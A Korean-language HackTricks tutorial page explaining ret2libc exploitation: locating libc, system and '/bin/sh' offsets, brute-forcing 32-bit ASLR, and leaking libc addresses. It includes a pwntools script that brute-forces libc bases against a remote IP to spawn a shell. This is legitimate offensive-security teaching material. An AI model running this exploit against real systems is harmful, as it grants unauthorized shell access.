Ret2lib

htARTE (HackTricks AWS Red Team Expert)에서 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

기본 정보

Ret2Libc의 본질은 취약한 프로그램의 실행 흐름을 공격자가 제공한 셸코드를 스택에 실행하는 대신 공유 라이브러리(예: system, execve, strcpy) 내의 함수로 리다이렉트하는 것입니다. 공격자는 페이로드를 작성하여 스택의 반환 주소를 원하는 라이브러리 함수를 가리키도록 수정하고, 호출 규약에 따라 필요한 인수가 올바르게 설정되도록도 조치합니다.

예시 단계 (간소화)

  • 호출할 함수의 주소(예: system) 및 호출할 명령(예: /bin/sh)을 가져옵니다.

  • 첫 번째 인수를 가리키는 ROP 체인을 생성하여 명령 문자열을 가리키고 함수로 실행 흐름을 전달합니다.

주소 찾기

  • 현재 시스템에서 사용되는 libc를 가정하면 메모리에 로드될 위치를 다음과 같이 찾을 수 있습니다:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

ASLR가 libc 주소를 변경하는지 확인하려면 다음을 수행할 수 있습니다:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • 사용된 libc를 알면 system 함수의 오프셋을 찾을 수도 있습니다:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • 사용된 libc를 알면 /bin/sh 문자열 함수의 오프셋을 찾을 수도 있습니다:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

gdb-peda / GEF를 사용하는 방법

사용 중인 libc를 알고 있다면 Peda 또는 GEF를 사용하여 system 함수, exit 함수 및 문자열 **/bin/sh**의 주소를 얻을 수도 있습니다:

p system
p exit
find "/bin/sh"

/proc/<PID>/maps 사용

프로세스가 매번 대화할 때마다 자식 프로세스를 생성하는 경우 (네트워크 서버), 해당 파일을 읽어보려고 시도해보세요 (아마도 루트 권한이 필요할 것입니다).

여기서 프로세스 내부에 libc가 정확히 로드된 위치프로세스의 각 자식이 로드될 위치를 찾을 수 있습니다.

이 경우 0xb75dc000에 로드됩니다 (이것이 libc의 기본 주소가 될 것입니다)

알 수 없는 libc

바이너리가 로드하는 libc를 알 수 없을 수도 있습니다 (접근할 수 없는 서버에 위치할 수 있기 때문에). 이 경우 취약점을 악용하여 일부 주소를 노출시키고 어떤 libc 라이브러리가 사용 중인지 찾을 수 있습니다:

pageLeaking libc address with ROP

또한 이에 대한 pwntools 템플릿을 다음에서 찾을 수 있습니다:

pageLeaking libc - template

2개의 오프셋을 사용하여 libc 알아내기

페이지 https://libc.blukat.me/를 확인하고 libc 내의 함수 주소 중 두 개의 주소를 사용하여 사용된 버전을 확인하세요.

32비트에서 ASLR 우회

이 무차별 대입 공격은 32비트 시스템에만 유용합니다.

  • 공격이 로컬인 경우, libc의 기본 주소를 무차별 대입할 수 있습니다 (32비트 시스템에 유용):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • 원격 서버를 공격할 때, libc 함수 usleep의 주소를 브루트 포스하여 10을 인자로 전달할 수 있습니다. 예를 들어, 서버가 응답하는 데 10초 더 걸린다면, 이 함수의 주소를 찾은 것입니다.

원 가젯

libc에서 특정 주소점프하여 셸을 실행합니다:

pageOne Gadget

x86 Ret2lib 코드 예시

이 예시에서 ASLR 브루트 포스가 코드에 통합되어 있으며 취약한 이진 파일이 원격 서버에 위치해 있습니다:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib 코드 예제

다음 예제를 확인하십시오:

pageROP - Return Oriented Programing

ARM64 Ret2lib 예제

ARM64의 경우, ret 명령은 x30 레지스터가 가리키는 곳으로 점프하며 스택 레지스터가 가리키는 곳으로는 점프하지 않습니다. 따라서 조금 더 복잡합니다.

또한 ARM64에서는 명령이 하는 대로 동작하며(명령의 중간으로 점프하여 새로운 명령으로 변환하는 것은 불가능합니다).

다음 예제를 확인하십시오:

pageRet2lib + Printf leak - arm64

printf로 Ret하기 (또는 puts)

이를 통해 printf/puts를 호출하여 특정 데이터를 인수로 전달함으로써 프로세스에서 정보를 누출할 수 있습니다. 예를 들어 puts의 주소를 GOT에 넣고 puts를 실행하면 메모리에서 puts의 주소를 누출할 수 있습니다.

Ret2printf

이는 기본적으로 printf 형식 문자열 취약점으로 변환하기 위해 Ret2lib를 남용하는 것을 의미하며, ret2lib를 사용하여 해당 값을 이용하여 printf를 호출하는 것입니다 (의미 없어 보이지만 가능합니다):

pageFormat Strings

기타 예제 및 참고 자료

Last updated